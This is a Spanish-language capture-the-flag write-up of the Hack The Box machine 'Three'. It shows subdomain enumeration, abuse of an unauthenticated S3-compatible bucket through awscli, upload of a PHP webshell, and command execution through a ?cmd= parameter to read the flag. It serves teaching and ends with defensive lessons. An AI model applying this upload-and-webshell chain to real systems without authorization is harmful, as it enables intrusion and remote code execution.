Hack The Box – Three

⭐ Three – Hack The Box Write-up ⭐

HTB Difficulty OS Category


Propiedad Valor
Dificultad Fácil
SO Linux
IP 10.129.x.x
Categoría Starting Point (Tier 0)
Etiquetas AWS S3, Enumeración de Subdominios, RCE, Mala Configuración

Resumen

En este laboratorio, explotamos un servicio compatible con Amazon S3 mal configurado, expuesto a través de un subdominio descubierto.
Al enumerar el bucket S3, identificamos que permite subidas de archivos sin autenticación.
Subiendo un archivo PHP malicioso, logramos ejecución remota de código (RCE) en el servidor web, lo que nos permite enumerar el sistema de archivos y obtener la flag.

Esta máquina pertenece a Hack The Box – Starting Point (Tier 1) y cubre conceptos fundamentales como:

  • Enumeración de subdominios
  • Interacción con buckets de Amazon S3
  • Mala configuración de almacenamiento en la nube
  • Ejecución remota de código (RCE)
  • Enumeración de sistema de archivos en Linux

Pasos Clave

Enumeración de red y servicios

MITRE ATT&CK: T1046 – Network Service Discovery
OWASP Top 10: A05:2021 – Security Misconfiguration

Enumeración de subdominios

MITRE ATT&CK: T1583.002 – Acquire Infrastructure: Domains
OWASP Top 10: A05:2021 – Security Misconfiguration

Descubrimiento de servicio S3 expuesto

MITRE ATT&CK: T1087 – Account Discovery
OWASP Top 10: A02:2021 – Cryptographic Failures

Acceso no autorizado al bucket S3

MITRE ATT&CK: T1530 – Data from Cloud Storage Object
OWASP Top 10: A05:2021 – Security Misconfiguration

Ejecución remota de código mediante subida de archivos

MITRE ATT&CK: T1105 – Ingress Tool Transfer
OWASP Top 10: A03:2021 – Injection

Enumeración post-explotación y obtención de la flag

MITRE ATT&CK: T1083 – File and Directory Discovery
OWASP Top 10: A01:2021 – Broken Access Control


Flujo del Ataque

  1. Enumeración de red y servicios
  2. Descubrimiento del subdominio (s3.thetoppers.htb)
  3. Identificación del servicio S3 expuesto
  4. Acceso no autorizado al bucket S3
  5. Subida de archivo PHP malicioso
  6. Ejecución remota de comandos
  7. Obtención de la flag

Comprobación de Conectividad

Antes de la enumeración, verificamos la conectividad con la máquina objetivo:

ping 10.129.x.x

El host respondió correctamente, confirmando que la máquina era accesible.
Además, observamos que ttl = 63.

  • Este valor (cercano a 64) indica que se trata de una máquina Linux.

Por defecto, valores TTL alrededor de 64 indican Linux, mientras que valores de 128 indicarían Windows.

HTB - Three - Ping
HTB – Three – Ping

Enumeración

Escaneo de Puertos

sudo nmap -sS 10.129.x.x
HTB - Three - Nmap
HTB – Three – Nmap

Se observan dos puertos TCP abiertos.
El puerto 80 indica que podemos conectarnos desde un navegador para comprobar si hay un sitio web.


Agregando el Hostname

Desde el escaneo anterior, sabemos que podemos conectarnos al servidor desde el navegador.
Al visitar http://10.129.x.x aparece una página web:

HTB - Three - Webpage
HTB – Three – Webpage

En la página de Contact, encontramos un correo con dominio thetoppers.htb:

HTB - Three - Domain
HTB – Three – Domain

Como no se proporciona un servidor DNS, resolvemos el dominio manualmente:

sudo nano /etc/hosts

Agregamos:

<pre>10.129.x.x thetoppers.htb</pre>


Enumeración de Subdominios

Con Gobuster, enumeramos hosts virtuales:

gobuster vhost -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb –append-domain
HTB - Three - GoBuster
HTB – Three – GoBuster

Subdominio descubierto:

s3.thetoppers.htb

Agregado a /etc/hosts, accedimos a:

http://s3.thetoppers.htb

Esto reveló un servicio compatible con Amazon S3.

Sobre AWS S3: Los buckets S3 se usan para almacenamiento en la nube. Interacción: mediante awscli (apt install awscli).


Explotación – Mala Configuración de AWS S3

Instalación y configuración de AWS CLI

sudo apt install awscli

Después de instalarlo, ejecutamos aws configure y proporcionamos cualquier valor (en mi caso, test en todos los campos).

<pre>aws configure</pre>

HTB - Three - AWS Configuration
HTB – Three – AWS Configuration

Las credenciales dummy fueron aceptadas, indicando que no hay control de autenticación.


Enumeración de Buckets

Buscamos la lista de buckets disponibles para nuestro endpoint:

aws –endpoint=http://s3.thetoppers.htb s3 ls

Bucket descubierto:

thetoppers.htb
HTB - Three - AWS Endpoint
HTB – Three – AWS Endpoint

Para acceder al bucket, ejecutamos:

aws –endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

Contenido revelado:

  • index.php
  • .htaccess
  • images
HTB - Three - AWS List
HTB – Three – AWS List

Esto confirma que el bucket S3 respalda la web, PHP está ejecutando la página y images aloja las imágenes mostradas.


Explotación: RCE mediante Subida de Archivos

Sabemos que:

  • El bucket S3 es público
  • Se puede listar y subir archivos
  • El bucket es la parte backend del sitio web
  • Si subimos un archivo PHP, se ejecuta en el servidor
  • Esto nos permite RCE ejecución remotaflag

1.- Creamos un archivo llamado shell.php:

nano shell.php

Contenido:

HTB - Three - AWS Shell
HTB – Three – AWS Shell

Esto permite ejecutar comandos mediante ?cmd=COMANDO en la URL.


2.- Subida del webshell al bucket S3

aws –endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php upload: ./shell.php to s3://thetoppers.htb/shell.php
HTB - Three - Shell Upload
HTB – Three – Shell Upload

3.- Acceso vía navegador para ejecutar comandos

http://thetoppers.htb/shell.php?cmd=whoami

Resultado:

www-data
HTB - Three - Shell Access
HTB – Three – Shell Access

Esto confirma la ejecución remota de código exitosa.


Post-Explotación y Flag

Listando el directorio padre:

http://thetoppers.htb/shell.php?cmd=ls

Reveló:

flag.txt html
HTB - Three - Shell Listing
HTB – Three – Shell Listing

Subiendo un directorio, encontramos la flag:

http://thetoppers.htb/shell.php?cmd=ls ..
HTB - Three - Flag Found
HTB – Three – Flag Found

Leyendo la flag:

http://thetoppers.htb/shell.php?cmd=cat ../flag.txt
HTB - Three - Flag Found
HTB – Three – Flag Found

NOTA: Algunos writeups usan un reverse shell con Netcat en esta etapa.
En este caso, la ejecución directa de comandos mediante el webshell fue suficiente, por lo que no fue necesario un reverse shell.

✅ Flag obtenida con éxito

HTB - Three - Reading the Flag
HTB – Three – Reading the Flag

Conclusión

Esta máquina demuestra cómo una simple mala configuración de almacenamiento en la nube puede conducir a una compromiso completo cuando se combina con:

  • Servicios S3 expuestos
  • Falta de controles de autenticación
  • Integración directa entre almacenamiento y raíz web

Lecciones Clave

  • Nunca expongas almacenamiento en la nube sin autenticación
  • Separa el código de la aplicación de los directorios de subida
  • Deshabilita la ejecución de scripts en directorios de subida
  • Aplica el principio de mínimos privilegios en servicios de la nube

Conclusiones Principales

  • Buckets S3 mal configurados permiten subir archivos arbitrarios
  • Los scripts subidos pueden ser ejecutados por el servidor web
  • RCE no siempre requiere credenciales
  • Las malas configuraciones en la nube son un vector de ataque común en entornos reales

Herramientas Utilizadas

Categoría Herramientas
Reconocimiento ping, nmap, navegador
Enumeración nmap, enumeración manual web, Gobuster
Interacción con la nube awscli
Explotación PHP Web Shell, subida de archivos S3
Post-Explotación Comandos Linux (ls, cat)

⚠️ Aviso legal

Este contenido es exclusivamente educativo.
Todas las pruebas se realizaron en un laboratorio controlado de Hack The Box.
No utilices estas técnicas sin autorización explícita.